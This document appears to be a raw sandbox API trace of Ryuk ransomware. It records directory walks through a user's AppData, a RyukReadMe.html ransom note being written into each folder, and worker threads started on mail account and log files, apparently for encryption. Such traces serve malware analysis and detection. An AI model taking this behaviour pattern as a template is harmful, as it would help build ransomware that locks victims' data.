	[0266.878] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5cb5bdf0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5cb5bdf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.878] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5cb5bdf0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5cb5bdf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.879] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5ccd8bb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5ccd8bb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="ERC", cAlternateFileName="")) returned 1
	[0266.879] SetLastError (dwErrCode=0x0) 
	[0266.879] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.879] GetLastError () returned 0xb7
	[0266.879] CloseHandle (hObject=0x988) returned 1
	[0266.879] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ERC\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5ccd8bb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5ccd8bb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.879] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5ccd8bb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5ccd8bb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.880] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ccd8bb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5ccd8bb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5ccd8bb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.880] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5ccd8bb0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5ccd8bb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5ccd8bb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.880] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.880] SetLastError (dwErrCode=0x0) 
	[0266.880] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ERC\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\erc\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.880] GetLastError () returned 0xb7
	[0266.880] CloseHandle (hObject=0x988) returned 1
	[0266.880] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1
	[0266.880] SetLastError (dwErrCode=0x0) 
	[0266.881] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.881] GetLastError () returned 0xb7
	[0266.881] CloseHandle (hObject=0x988) returned 1
	[0266.881] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ReportArchive\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.881] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.882] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0266.882] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.882] SetLastError (dwErrCode=0x0) 
	[0266.882] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\ReportArchive\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\reportarchive\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.882] GetLastError () returned 0x0
	[0266.882] WriteFile (in: hFile=0x988, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0267.936] CloseHandle (hObject=0x988) returned 1
	[0267.946] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5cb5bdf0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5cb5bdf0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5cb5bdf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0267.946] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5cb5bdf0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5cb5bdf0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5cb5bdf0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0267.958] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0267.962] SetLastError (dwErrCode=0x0) 
	[0267.962] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\WER\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\wer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0267.962] GetLastError () returned 0xb7
	[0267.962] CloseHandle (hObject=0x984) returned 1
	[0267.963] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 1
	[0267.963] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa734ff0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xa734ff0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa734ff0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="WindowsUpdate.log", cAlternateFileName="WINDOW~1.LOG")) returned 0
	[0267.963] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0267.963] SetLastError (dwErrCode=0x0) 
	[0267.963] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0267.964] GetLastError () returned 0xb7
	[0267.964] CloseHandle (hObject=0x858) returned 1
	[0267.964] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x665a2fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x665a2fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1
	[0267.964] SetLastError (dwErrCode=0x0) 
	[0267.964] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0267.964] GetLastError () returned 0xb7
	[0267.964] CloseHandle (hObject=0x858) returned 1
	[0267.965] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x665a2fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x665a2fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0267.965] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x665a2fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x665a2fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0267.965] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1
	[0267.965] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0267.966] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x984
	[0267.967] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.968] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1
	[0267.968] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0267.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x988
	[0267.969] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.970] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1
	[0267.970] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0267.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98c
	[0267.972] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0267.973] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5cea1c30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5cea1c30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1
	[0267.973] SetLastError (dwErrCode=0x0) 
	[0267.973] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x990
	[0267.973] GetLastError () returned 0xb7
	[0267.973] CloseHandle (hObject=0x990) returned 1
	[0267.973] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5cea1c30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5cea1c30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0267.974] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5cea1c30, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5cea1c30, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0267.974] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="old", cAlternateFileName="")) returned 1
	[0267.974] SetLastError (dwErrCode=0x0) 
	[0267.974] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\backup\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x994
	[0267.974] GetLastError () returned 0xb7
	[0267.974] CloseHandle (hObject=0x994) returned 1
	[0267.974] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Backup\\old\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0267.977] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0267.977] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e562a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e562a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f2de8d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x1e4, dwReserved1=0x0, cFileName="edb00001.log", cAlternateFileName="")) returned 1
	[0267.977] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0267.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x998
	[0267.980] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
